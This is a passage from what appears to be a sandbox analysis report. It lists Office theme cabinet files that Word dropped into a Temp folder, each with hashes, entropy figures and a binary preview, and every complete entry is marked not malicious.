Preview:	MSCF....tq......D...........................tq.. ?..........\|..................Mn. .Banded.thmx............Mn. .content.inf..;.u.i..[...............?....^.j.{j.B...$M/!...W....{!..^0x/.6...&............w......$.B..J.?a.$=...P..L...d..........+./.\..E:h.....-.$..u-.I..L\.M.r..Y..:rtX:....8...........+8.}{......&.-..f.f..s3-P.''.r...Z-"/E../...^%^N(,.$..$.H..O........q>...\|.\|......y..m.)u....`.....z.n..-.[.5....xL....M...O..3uCX..=4.....7.yh...dg.;..c.x.4..6..e..p.e"..,.!.St{..E..^I.9j....;..`.Y..#.0..f...G.....9~./....QCz.93..u%hz.........t9.""........)..7K.c~E!..x.E.p...[......o..O.j.c.......6.t{...".....t9V;xv....n<.F.S2.gI.#6...u..O..F.9.[.L.....K....#..zL..I...o....k...qog.......V..BKM..#.bET.)..&4..m.w.......E.a[.Q.y.B...w...r.nd...)...<..#..r[4.y...#.z.....m?.2K.^...R{..m..f......r?]..>@...ra$...C+..l].9...."..rM9=......]".'...b&2e...y..a..4....ML..f...f"..l..&.Rv=2LL..4...3t_x...G....w..I.K....s.t.....).......{ur.y2...O3.Kf.*P(..F..-.y.Z...

C:\Users\user\AppData\Local\Temp\cabEF9E.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 259074 bytes, 2 files, at 0x44 +A "content.inf" +A "Dividend.thmx", flags 0x4, ID 58359, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	276650
Entropy (8bit):	7.995561338730199
Encrypted:	true
SSDEEP:	6144:H2a+HFkDF8gpmMt4kzwVVqhSYO6DITxPWgJl1CFExwXyo7N:mlZgFtIVVTuDExeWuv7N
MD5:	84D8F3848E7424CBE3801F9570E05018
SHA1:	71D7F2621DA8B295CE6885F8C7C81016D583C6B1
SHA-256:	B4BC3CD34BD328AAF68289CC0ED4D5CF8167F1EE1D7BE20232ED4747FF96A80A
SHA-512:	E27873BFD95E464CB58B3855F2DA404858B935530CF74C7F86FF8B3FC3086C2FAEA09FA479F0CA7B04D87595ED8C4D07D104426FF92DFB31BED405FA7A017DA8
Malicious:	false
Preview:	MSCF............D................................D..........~..................M. .content.inf............M. .Dividend.thmx..).}.b..[.....`.........?.R...T../..............4..yy....{...f.h..\U......sy.gV0Q.@..A..@..3a.A}........7.q.......8......R....sJ)E..ENr.SB.1..).s.r.J.D.b."..........(.....E$.V........y.5.L....;gY..QK/nni..x..3.<..Q.Q..K.I.....T.z.,F.....{.p.....;8._.&../...........X...}.;[Gk..._.i`m.u.?...s.w...4.....m......l....5..n.?..c..m...,.....{.k.?......sC.............e..1....oL.8./......1._.K:.]..&......O............qo.....Dd/c...6.q.......V.v........h....L..h..C+..V..;O.(7Z]{I%....S3.{h....\...b.......5.ES......Z.4...o.c`..YA....9i....M.s....Z3.oq`....>.i..@.@n.a...x.3.zp.<....vU/.\|^CvE...aD.P&mhvM>.p..B~....."._.......v-.m..w..?._..=...:...k....i.}x.6....Y.i..n....h...j......LZ.....fk..f0.y.T..Vl.;...s.......B6.f.'z.c.\W?...4U)..aJ.;O....L.d7.J.V#Q.....\J.F.?].d}!..y].6..%..~....\|......5...'N.#.....t6.,.E.O."..0fyz....

C:\Users\user\AppData\Local\Temp\cabEFAF.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 252241 bytes, 2 files, at 0x44 +A "content.inf" +A "Frame.thmx", flags 0x4, ID 34169, number 1, extra bytes 20 in head, 16 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	271273
Entropy (8bit):	7.995547668305345
Encrypted:	true
SSDEEP:	6144:zfdvQnJMwXse4Vradf3mrC7woyWbjKlCVC7K:zfJwJse4VrS1AK
MD5:	21437897C9B88AC2CB2BB2FEF922D191
SHA1:	0CAD3D026AF2270013F67E43CB44F0568013162D
SHA-256:	372572DCBAD590F64F5D18727757CBDF9366DDE90955C79A0FCC9F536DAB0384
SHA-512:	A74DA3775C19A7AF4A689FA4D920E416AB9F40A8BDA82CCF651DDB3EACBC5E932A120ABF55F855474CEBED0B0082F45D091E211AAEA6460424BFD23C2A445CC7
Malicious:	false
Preview:	MSCF....Q.......D...............y...........Q...XJ..........{..................M.. .content.inf.(..........M.. .Frame.thmx.1....b..[.........B.....6....ZZ}....BH..-D..}..V.V-........Z..O.....H.f..........;..@d.`......!..=;.,bp..K.q....s.y....D.qZ)p......D...r.S....s=B.4.).8B....4.a6 ...~........."....#.....}....n.Q.1cH.%c/.U....E..E...!..Da.p....X..G..:.....1.@.....W.'...._........W.c...<.v.k.....&.8......?.h.>d._:-.X.......9..tL}........3.;.N3.D~......>.^?..\|:...}......oT.z.......w..[..}:...._fu........Kk.......L..9..p..e..^......K.%...Mapqhvv..E&.^.....[...9\|"l...9...U......!..w..Nya...~C.yx...w.K..q.z.j.W?t.......DY.x.S2.....]..na.Qj...X.K..^...S.hK.W...Z....s.0...NF...8C.......j.'Zc...k.%...l....S.....OW..o.Qf.x...X.;<.rO].....W.m.e....T.1.6........".....Q.3........l..v.."..I...&......w..4vE...c.s[.3.m..8.q$.....a...)...&:6..,..#..?....;.!.....~.UP.r=.}h.&U......X...]..X.e\u.G<....E....lG.@.Z...10.D@.]....z+-.S....p..Y.PK.:.S..p.....1E`..-

C:\Users\user\AppData\Local\Temp\cabEFE1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 243642 bytes, 2 files, at 0x44 +A "content.inf" +A "Metropolitan.thmx", flags 0x4, ID 19054, number 1, extra bytes 20 in head, 24 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	261258
Entropy (8bit):	7.99541965268665
Encrypted:	true
SSDEEP:	6144:9blShNYrHNn0JU+D+kh8CIjXHWC7X0nZLC9Ge2KY/WfI:9ZSTYrtn0Sk+CIDHWC7chVKYx
MD5:	65828DC7BE8BA1CE61AD7142252ACC54
SHA1:	538B186EAF960A076474A64F508B6C47B7699DD3
SHA-256:	849E2E915AA61E2F831E54F337A745A5946467D539CCBD0214B4742F4E7E94FF
SHA-512:	8C129F26F77B4E73BF02DE8F9A9F432BB7E632EE4ABAD560A331C2A12DA9EF5840D737BFC1CE24FDCBB7EF39F30F98A00DD17F42C51216F37D0D237145B8DE15
Malicious:	false
Preview:	MSCF............D...............nJ...............D.................."..........M. .content.inf....."......M. .Metropolitan.thmx...cVtP..[.....`Q..B.....=.T.....h.."...Z..\|..}hZK.V....Z..Z................?..v...[S$."...H......^u.%.@...>....... f.........1.5......&lm.tZ.msz:...Noc....1....D .........b..... ..3#pVp....}oo]{m......H[%i.GNHB1D<......(# ....H"....DP..b(B.<.....v......_..`.7..;.}............/.p}.:vp....~l0..].........S....G?.....}..U.;......dNi..?........-c..J.z....Z...._.O.....C..o.,......z....F....sOs$..w9......2G..:@...'....=.....M..am.....S......(`.._....'......[..K"....BD...D...^1k.....xi...Gt....{k@.W.....AZ+(,...+..o......I.+.....D..b. T.:..{..v.....g..........L.H.`...uU~C.d...{...4.N.N..m8..v.7..3.`.....,...W...s.;.fo.8.Y...2.i...T&.-...v8..v.U.Y=...8..F.hk..E.PlI.t.8......A.R....+.]lOei..2...... gS.......%8H.....<.U.D..s.....>.....D_...../....l.......5O1S~.........B.g.++cV.z.f .R.Z.......@6....(..t^5"...#G...

C:\Users\user\AppData\Local\Temp\cabF022.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 279287 bytes, 2 files, at 0x44 +A "Basis.thmx" +A "content.inf", flags 0x4, ID 55632, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	295527
Entropy (8bit):	7.996203550147553
Encrypted:	true
SSDEEP:	6144:nwVaEqsf23c9shf6UyOGgDWDn/p3fd+zkPWnvGL3n9bQnkmVheyqtkl:MlPfW6sVEDn/pPdhWnvGL36zyyqal
MD5:	9A07035EF802BF89F6ED254D0DB02AB0
SHA1:	9A48C1962B5CF1EE37FEEC861A5B51CE11091E78
SHA-256:	6CB03CEBAB2C28BF5318B13EEEE49FBED8DCEDAF771DE78126D1BFE9BD81C674
SHA-512:	BE13D6D88C68FA16390B04130838D69CDB6169DC16AF0E198C905B22C25B345C541F8FCCD4690D88BE89383C19943B34EDC67793F5EB90A97CD6F6ECCB757F87
Malicious:	false
Preview:	MSCF.....B......D...............P............B..p?..........{.................M.. .Basis.thmx...........M.. .content.inf.`g..td..[...............5..$..WM.....R.......H\.+\./^...x.^..h..MU..\........v........+......g...$.......g.....~....U].7..T..1k.H...1...c.P.rp.6K..&......,.............U4.WoG.w.....;.....v..922.;]..5_-]..%E]b..5]... (..H..II..ttA4Q..BI!\|...H.7J.2D....R.......CXhi`n....6..G.~&.[..N...v..Z"t.a..K..3..).w...._@.}.}.v.......4......h....R;.8.c&.F...B^....Q.....!Bm2...F.`.......M;...#.{....c...?...e...6t..C.-.E.V.v%I..H.....m.n...$D.....vU'.....=6}~...Gw...Y..?.@......G.....k......z...5d.h......1.}..O*;e..t......Y.0...3.v).X.-.2.....~....14.[.w=I....hN....eD..7G.u.z..7.do..!....d..o.wQ.:....@/.^..<e.-..=\.....6.C.'.rW$..Cp.M3.u6z......Q.F.9.5....juc..I...m4]7L....+n......).t......2[.3.p.:.....O5y..wA........^..!..H....{..S.3w.!&.'.;...(..\|m.x.S..Z.j..3...n..WU...../w.......xe=.+.D...x..qy.S.....E..... ...uu.`.,..<.6[p

C:\Users\user\AppData\Local\Temp\cabF043.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 214772 bytes, 2 files, at 0x44 +A "content.inf" +A "Parcel.thmx", flags 0x4, ID 26500, number 1, extra bytes 20 in head, 19 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	230916
Entropy (8bit):	7.994759087207758
Encrypted:	true
SSDEEP:	6144:OTIPtMXmJWnzPS3pqnkeuJXW+FNx1a72rLiQxEBTR:750nz63/FJRFLISnp+Bt
MD5:	93FA9F779520AB2D22AC4EA864B7BB34
SHA1:	D1E9F53A0E012A89978A3C9DED73FB1D380A9D8A
SHA-256:	6A3801C1D4CF0C19A990282D93AC16007F6CACB645F0E0684EF2EDAC02647833
SHA-512:	AA91B4565C88E5DA0CF294DC4A2C91EAEB6D81DCA96069DB032412E1946212A13C3580F5C0143DD28B33F4849D2C2DF2214CE1E20598D634E78663D20F03C4E6
Malicious:	false
Preview:	MSCF.....F......D................g...........F...?..........\|..................L.. .content.inf.zG.........L.. .Parcel.thmx.>2...R..[...0...........7....B+...BH....{...^.../.....B{...1....+".....<.....$........{.......sD"..j...}... P..w..U..f...6.x8. ...C..F.q.7....T.6p......B.P..L..g......A..43.W`.....{{...u.4...:.bb.4"X..m..)$..@(H. H.tBPTF..,.&.B.'...6..2...n..c%...Z@.(.@.......(.<i.i....P......?......o.......F.M.L......i.....C..7..../.....MQ.0..l.U.s.Fu.......1...p.;.(.}..ogd..<.._.Z......._.......O.J......97...~<...4.c....i..........'k.5.......Q.$..C..E... ..5.7....N.a.[ns6hi..kM....?....X......9q...!O\....0....n.^s.9.6..............;. ..r...rf..C6z..v #.H...O...v/.sl....J.m%.L.Dp.e....uO..g.y....f...].5.........W.....h^[..w.\|.=.ru.\|.M..+.-.B...D.Ma....o.<X SnI....l...{..G..,..y5\W.@..y.;.y ...M..l.....e..A...d.e!.E..3.......k1.......6gY).../....pQ..?..s.W.)+R.S5..../.0..vz.^.......k.....v..9..A.NG...N~#..$.B...s,(.o.@.ar.!.J.....

C:\Users\user\AppData\Local\Temp\cabF391.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 533290 bytes, 2 files, at 0x44 +A "content.inf" +A "Parallax.thmx", flags 0x4, ID 64081, number 1, extra bytes 20 in head, 29 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	550906
Entropy (8bit):	7.998289614787931
Encrypted:	true
SSDEEP:	12288:N4Ar9NyDhUQM0Hk86V1YnOIxQ9e6SJbj2OjK:jAG8wa5Qw6SZ2Oj
MD5:	1C12315C862A745A647DAD546EB4267E
SHA1:	B3FA11A511A634EEC92B051D04F8C1F0E84B3FD6
SHA-256:	4E2E93EBAC4AD3F8690B020040D1AE3F8E7905AB7286FC25671E07AA0282CAC0
SHA-512:	CA8916694D42BAC0AD38B453849958E524E9EED2343EBAA10DF7A8ACD13DF5977F91A4F2773F1E57900EF044CFA7AF8A94B3E2DCE734D7A467DBB192408BC240
Malicious:	false
Preview:	MSCF....#......D...............Q...........#...D..........~..................M{. .content.inf............M{. .Parallax.thmx.9... y..[......(..b.P...E.Q.R.".RTH.%.T..F......u.{.+.P.....FK0].F...a{...D4`D..V.../.P,....2.Mx...u......0...E...{A-"J...)jl_.A..T......u.Y....ZG:....V.A.#~.. ..6..............o..X..<.... .......C.ce.f!nA.).p...p........n..................'6w6H6s.j....l...{?.h..........]..l.....v....%..l}A..................3...W_73.j......6...F.../..qG.?........H..).........7.&km....`m2..m.W.q.<../~<..6.78..X~.e+..CCw...T...6....AB..l..._.f......s.e....2....H..r.R.Z....a.,..\Q.q..._SJJ....7.S.R....=f..>....9=....NnC.....].-...\..Z..q..j...q.....Nj..^'..k...Zl.~PRvpz.J..+.C...k.z.w=l.#.............n...C..s.kM.@B{..vL.e....E..(/......f...g..=..V...}...).=s.....y!.,...X.[..[.....\31}..D%...%..+G66.j.v./.e9...P;.o.y..U+...g.g.S.../..B._L..h...Oi.._...:..5ls>>........n6.F.Q..v>..P.r:.a..Z....a...x..D....N...i..=L.u......<;Nv.X/.

C:\Users\user\AppData\Local\Temp\cabF47E.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 624532 bytes, 2 files, at 0x44 +A "content.inf" +A "Quotable.thmx", flags 0x4, ID 13510, number 1, extra bytes 20 in head, 30 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	640684
Entropy (8bit):	7.99860205353102
Encrypted:	true
SSDEEP:	12288:eV7ivfl+kbkIrWu+2aoRjwv/cSUWauGPo2v65s4QqcT3ZCCz6CSj8aC:fdhr1+3y4MWaC2CO4V+3ZCCDsO
MD5:	F93364EEC6C4FFA5768DE545A2C34F07
SHA1:	166398552F6B7F4509732E148F93E207DD60420B
SHA-256:	296B915148B29751E68687AE37D3FAFD9FFDDF458C48EB059A964D8F2291E899
SHA-512:	4F0965B4C5F543B857D9A44C7A125DDD3E8B74837A0FDD80C1FDC841BF22FC4CE4ADB83ACA8AA65A64F8AE6D764FA7B45B58556F44CFCE92BFAC43762A3BC5F4
Malicious:	false
Preview:	MSCF............D................4...............?..........~..................M. .content.inf."..........M. .Quotable.thmx..^.u.n..[...............&...U..F.......UU.M.T5.UUQS..j..#>43fD.....`....Vr......19'...P..j.-...6n.0c....4$.c....$.4.k3aQ$.lCN.#.[.."qc....,Z...,Qt@!.@...... ...H.......9.9.y.{....[.`..s3.5.....B....W.g.d...[uv.UW..............P.8.(.?......3.....'/F...0...8.P. .O..B....K...g..L.......#s...%..\|4.i....?.3b.".....g...?.........2.O23..'..O~.+..{...C.n.L......3......Y.L...?K...o......g....@.]...T..sU.....<.._.<G.......Tu.U2..v.&..<..^..e.].cY;..9.%..}...I.y.;...WM...3>.:.=.\|.-.AtT2OJ.I.#...#.y....A....\]$r...lM.%5.."...+7M..J.....c...".&$.... Y.r.B;..81B. +H...b....@7K..F.Z...v..=..ES.f.~.."...f..ho.X.E.a`~...C>.&..@\.[....(.....h..]...9&...sd.H .1.x.2..t.rj..o..A..^qF.S9.5.....E.{...C\|.w.c/V...0Q.M...........O.7;A4u...R..Z.B.7a.C`....p.z.....f!\|.u.3t....2e.wWH..'7p....E_...e.._;..k....&E.^.f=V..{..al.y:.4a...+.g...-..>e

C:\Users\user\AppData\Local\Temp\cabF4DD.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 704319 bytes, 2 files, at 0x44 +A "content.inf" +A "Wood_Type.thmx", flags 0x4, ID 5778, number 1, extra bytes 20 in head, 51 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	723359
Entropy (8bit):	7.997550445816903
Encrypted:	true
SSDEEP:	12288:NPnBZX7wR3tMwYqNDQGnXTtfzO5U7yo6O7bLhe8yE3LLDok4a:JBMbYE7xzO5U917bLh/DL3oJa
MD5:	748A53C6BDD5CE97BD54A76C7A334286
SHA1:	7DD9EEDB13AC187E375AD70F0622518662C61D9F
SHA-256:	9AF92B1671772E8E781B58217DAB481F0AFBCF646DE36BC1BFFC7D411D14E351
SHA-512:	EC8601D1A0DBD5D79C67AF2E90FAD44BBC0B890412842BF69065A2C7CB16C12B1C5FF594135C7B67B830779645801DA20C9BE8D629B6AD8A3BA656E0598F0540
Malicious:	false
Preview:	MSCF....?.......D...........................?...`J..............3..............M.. .content.inf..+.........M.. .Wood_Type.thmx......r..[.........................!.wwwwqwwwwwwwwwww..."....+......nR..x..\..w..r.5R.....(\|.>.$e3.!..g....f..`9NL......o./.O.bxI...7.....\|........6.n."J.....4^g.........?...................o.......s3.....8. .T.j...._.Z.Q.t.k,(o.c.t.......?Z....`o........?.a....6.)....6b..../.t...........Mz....q}......C.......+{.......o...K.tQjt............7.._....O.....\....` ..............@..`....%..t....V.]........m..m....u..1.yr;..t..F.'..+{....zqvd.g._..$H..Vl...m..../....g..rG.....:......8....h...[...a06...U.W....5.Z.W..1I..#.2.....B3...x....$PRh...\{J.c.v.y..5+Y.W.N..hG......<..F..W.d8_....c...g....p\|7.]..^.o.H.[$Zj..{4......m.KZ..n.T%...4.Z..Y."q7?kuB......U....).~.......W%..!.e.U.mp.o...h...?.w...T.s.YG#......Y.}....Z.O.i.r,...n..4.\....P..m..=....f........v....g....j....wP..4.VK.y.z...C..oum.b.1......?.Z.>.7.!?......A..Q>..Z....-

C:\Users\user\AppData\Local\Temp\cabF608.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 682092 bytes, 2 files, at 0x44 +A "Berlin.thmx" +A "content.inf", flags 0x4, ID 46672, number 1, extra bytes 20 in head, 30 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	698244
Entropy (8bit):	7.997838239368002
Encrypted:	true
SSDEEP:	12288:bUfKzAwwP7XAMWtr4FvMRt4lX0hnBdThiSb32+TdysrQgn7v4EemC6:sr7AMkJ34xu1bm4ZrQaY6
MD5:	E29CE2663A56A1444EAA3732FFB82940
SHA1:	767A14B51BE74D443B5A3FEFF4D870C61CB76501
SHA-256:	3732EB6166945DB2BF792DA04199B5C4A0FB3C96621ECBFDEAF2EA1699BA88EE
SHA-512:	6BC420F3A69E03D01A955570DC0656C83C9E842C99CF7B429122E612E1E54875C61063843D8A24DB7EC2035626F02DDABF6D84FC3902184C1EFF3583DBB4D3D8
Malicious:	false
Preview:	MSCF....lh......D...............P...........lh...?..........\|..................M. .Berlin.thmx............M. .content.inf..lH.lj..[...............7.I..)........P..5x.B/^y5.xk^^......D.F........s....y...?D..........&....".o..pl..Q.jm?_...6......=%.p.{.)S..y...$......,4..>#.........)..."-....K....4.E...L=.......4..p.c..nQ.0..ZO.#.....e.N..`U......oS....V..X[t.E)\|.h..R....$..}.{.F.7....^.....w.,...5rBR.....{.......mi...h.b......w+..;.hV......q..(.7&.Z.l...C."j........[-E4h.....v&..~.p$\|\X...8.....Fj'%,.)6w...u\|C..,y..E..`Up../(....2.(....Z.....,.'...d..s..Z....5.g.?Nq..04...f...D.x....q+.b.."v`{.NL....C..... ..n......1N+.I.{W9....2r.0...BaC.....O..=...k..."..8.D\jK.B...Aj....6,B..2...I.. B..^.4..1.K+.....DP...Mr....9..x[...>........?.Zd..'._2.._..>..'.F..#.w...2..~.\|........q_Wy.W.....~..Qex.km/..f......t.q..p..gm.\|.x.... ,.#\Z....p....a.}...%..v.J.Es......I.b.P?...0......F.x....E..j..6.%..E..-O.k...b .^.h.Cv...Z....D.n.d:.d.F..x...[1...B..

C:\Users\user\AppData\Local\Temp\cabFC25.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 937309 bytes, 2 files, at 0x44 +A "content.inf" +A "Gallery.thmx", flags 0x4, ID 44349, number 1, extra bytes 20 in head, 34 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	953453
Entropy (8bit):	7.99899040756787
Encrypted:	true
SSDEEP:	24576:9B1Onw3vg7aeYPagzbJ5Vhv6LnV2Dhl7GEYqVjcyd:vww3o7BYPJbJ5Vh6UCqZfd
MD5:	D4EAC009E9E7B64B8B001AE82B8102FA
SHA1:	D8D166494D5813DB20EA1231DA4B1F8A9B312119
SHA-256:	8B0631DA4DC79E036251379A0A68C3BA977F14BCC797BA0EB9692F8BB90DDB4D
SHA-512:	561653F9920661027D006E7DEF7FB27DE23B934E4860E0DF78C97D183B7CEBD9DCE0D395E2018EEF1C02FC6818A179A661E18A2C26C4180AFEE5EF4F9C9C6035
Malicious:	false
Preview:	MSCF....]M......D...............=...........]M...?..........}..."..............Li. .content.inf............Li. .Gallery.thmx.].(.Vq..[.....0Y..........v.....w.wwwww.wwwwww.w.....".83....y8..mg...o..U..N(..@uD.:O<........{.G....~~.....c.c.5..6./\|G .@#1O.B.............PT@...b.d.~..U....B.{.........0.H.....`.H.`..'S.......Ic..W..x...z....... .........g......._....o......S......p...$....._........._...K......x..?.6.U~...'./.r.................../.......5.8..2........2b.@j ....0.........``....H... ,5...........X........\|..Y.QoiW..\|.......x.sO8...Yb....7...m..b.f.hv..b......=...:Ar.-...[..A\.D..g..u....].9..M...'.R-`.....<..+.....]...1.^..I.z..W{.._....L.. ...4;..6O.....9,.-.Vt+b/$7..}.O05.Y...-..S.....$.....1."Z.r;.!..E.mMN..s .U...P%.[.P...cU...j...h.d.../.s..N/..:..X...p5.7\}h.Q ..._.F.X.C..z$.nV..+.k..\|.@.L...&.........^#.G.a..x..w!wx.8e+..E. i..$?9..8...:......\|..[."..y..&y..?...W....s..._...3Z0c.....i.q.........1c.jI....W..^%xH.._...n.......&J..

C:\Users\user\AppData\Local\Temp\cabFC26.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1049713 bytes, 2 files, at 0x44 +A "content.inf" +A "Savon.thmx", flags 0x4, ID 60609, number 1, extra bytes 20 in head, 37 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1065873
Entropy (8bit):	7.998277814657051
Encrypted:	true
SSDEEP:	24576:qehtHA3nsAOx7yN7THwxdGpkw8R60aTcua5U4c:hhmnsBMNAxdGpV5za5Uv
MD5:	E1101CCA6E3FEDB28B57AF4C41B50D37
SHA1:	990421B1D858B756E6695B004B26CDCCAE478C23
SHA-256:	69B2675E47917A9469F771D0C634BD62B2DFA0F5D4AF3FD7AFE9196BF889C19E
SHA-512:	B1EDEA65B6D0705A298BFF85FC894A11C1F86B43FAC3C2149D0BD4A13EDCD744AF337957CBC21A33AB7A948C11EA9F389F3A896B6B1423A504E7028C71300C44
Malicious:	false
Preview:	MSCF....q.......D...........................q... ?..........{...%..............M. .content.inf.Q_.........M. .Savon.thmx...O>.o..[..............&.5....UUcC.C....A...`TU...F....".54.E.....g.-.7-D....1g...p.6......@..w(....h'?.....(..........p..J.2n$4.........A......?...........@.C.W.R.5X..:....I..?....r.y..~!.....!.A.a...!........O.........5.x<C...?.?....C.C.......'....F../....../.$................4.7...................P...(.w.}6.........7.....01.1r........._..?.............'.._..JOx.CFA<.........0..2.?...>F.../...;..6-8..4...8&yb....".1%..v'..N...x......}.gYb..~L.....f[..!......Y.G.....p..r...?.p...F.Vy.....o.Whll...+...M.V...:.]...B.%.H....n..@.].zaVxf...y{.@....V.t.W....$Kp-.....7W.J..h..0A3mK.=.ub..R...W......*'T2..G#G,.^..T..XZu...U. ...76.d..#.I.JB.v...d...%.....6..O.K.[.:.L.\.....1.D..2a.>f......X...b5...ZgN.u.f...a!..."...sx....>..?.a.3.8.^._q..JS1.E..9..Lg.n.+....lE.f:j.9)Q..H1=..<.R.......{c>:.p[..S.9h.a.gL.U....8.z..z.!.....2I.~.b..2..c...

C:\Users\user\AppData\Local\Temp\cabFC27.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1081343 bytes, 2 files, at 0x44 +A "Circuit.thmx" +A "content.inf", flags 0x4, ID 11309, number 1, extra bytes 20 in head, 45 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1097591
Entropy (8bit):	7.844378701208789
Encrypted:	false
SSDEEP:	24576:UE9BMy98gA4cDWHkSrDans3MfEE6w8OaVuCibol0j41d:UE9Bdy3D4keQWt7w85VuVoaj4/
MD5:	0FE4358F5587B1F2CD4A863434000BAF
SHA1:	1298D03E370AE11F0B50D80E85B1FE33E5811063
SHA-256:	E409E6F986694B5571EE8DB33E6D264E65CFB43BF83D89CB1CA446CF4E5E0F38
SHA-512:	16DB0C382C06BA5DA9AB0B769DB32F5F81D9F518FE7786AF7D9033565FD055ECF7B8C6A7424901AC3085A33F28E40E984292390411F90434B848B428F297C544
Malicious:	false
Preview:	MSCF............D...............-,..............x?..........}...-...RU.........M. .Circuit.thmx.....RU.....M. .content.inf.g...&\|..[......=..R.....=.,.!QA?h..Q.!....Uk!.HJ.......VKuk.....q.w.w.U.....;...K.@.URA..0..B..\|rv.ND(.`{..@.1.}...s?.....-...O.(V.w..1..a.....aW...a.Z..aX....5.I...!..........(. ./.d...me.( ..f.........w.......Xp.s....c..vB.98.....C.J......V ..ML.M...B.n.>...\|....u!.5@t..q4....(K...u qL.S....>/%v%.2..TF.].e..'..-..L.N..c].a..(WU\o.%^..;...\|o.6..L..[..;&....^p.Lu.sr,-.R=.:.8.>VOB...:.?$.h.o....Zh.h....`.B.c.../K......b^...;2..bY.[.V.Q8....@..V7....I0c.cQN7..I.p..}..!..M....1K....+....9.2......a..W.V..........;.J .i......]%O.-......CeQ.0.c....MbP3.0.w..8w..Y...\|...H;#.J.+M......>.`y..aWk\|.i.BF.pJv;.....S..6....F.....RLG~..........J.=......"..........H.....h..o...u........M.6F?.F.p.B.>./*l....J.R..#P.....K......<iu..gm^..n...#c..zO"7M.O......4'>A..(.E.Cy.N.)....6.tx.r[.....7.......m.t..E?.....5.5.6.\..{.V.T.D.j..=~a^.I

C:\Users\user\AppData\Local\Temp\cabFC47.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1291243 bytes, 2 files, at 0x44 +A "content.inf" +A "Droplet.thmx", flags 0x4, ID 47417, number 1, extra bytes 20 in head, 54 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1310275
Entropy (8bit):	7.9985829899274385
Encrypted:	true
SSDEEP:	24576:NN3M9UHpHZE4aubaPubP3M6d71FdtmFAjq+54/79LVzG+VnS:NN3M9UJHZE4abPyU4JtmFCq+q/7JlVS
MD5:	9C9F49A47222C18025CC25575337A965
SHA1:	E42EDB33471D7C1752DCC42C06DD3F9FDA8B25F0
SHA-256:	ADA7EFF0676D9CCE1935D5485F3DDE35C594D343658FB1DA42CB5A48FC3FC16A
SHA-512:	9FDCBAB988CBE97BFD931B727D31BA6B8ECF795D0679A714B9AFBC2C26E7DCF529E7A51289C7A1AE7EF04F4A923C2D7966D5AF7C0BC766DCD0FCA90251576794
Malicious:	false
Preview:	MSCF...........D...............9..............XJ..........}...6..............M.. .content.inf............M.. .Droplet.thmx..m7.>J..[...............2.QQPIj..."o^R.H5^...^(e.W...R..x..^`..m...."..+.....{o.......Q.-....$V.N>...T]..L.... ..N.h..dOY.......S......N.%.d..d....Y.....e..$...<.m...`............@....=.z..n..[...,G..1Fn.qPDH{C<...3.Q...2..r.....E.E.E.ErM"&a..'..W....:...?I..<.I..6o.`.d.?!..!..._.4\.._.E..).._O.S....; ..#..p.H.....c....o\.K..?$U.e.........!...J.v.....gNe._..[....#A.O.n_.....gm:P._.........{@..-g..j.69b.NH.I.$Hk?.6.n...@......'.C.._.U..:,j.-G.....e.#.Sr.t.L......d[.[...s.....rx.3.F[.5o..:....K.x..)M.fb...3IP.&h.Q.VX^%U.......x..l......@6.k.P..zSW.?....F..[L...4..b.l.w."&.....`.j...i.5}".~.-.....{\.:...o.'H\+)....3.Y......\...f:.;....e........4't7..f...w..j...3....N..9`.J...P..?.....=3_.y]...f.<.......JM5.}Q/ .F.a..Z.._yh......V..>m .......a....f....!.hz..\.....F_..'z...,....h.=.......=.o..T....3.e..........$..g.2.

C:\Users\user\AppData\Local\Temp\cabFCD8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1865728 bytes, 2 files, at 0x44 +A "content.inf" +A "Damask.thmx", flags 0x4, ID 63852, number 1, extra bytes 20 in head, 68 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1881952
Entropy (8bit):	7.999066394602922
Encrypted:	true
SSDEEP:	49152:6Wp9u/ZAvKz7ZFCejPiSmYXKIr6kBwBUA:6W6Bn7ZFNiiKo2l
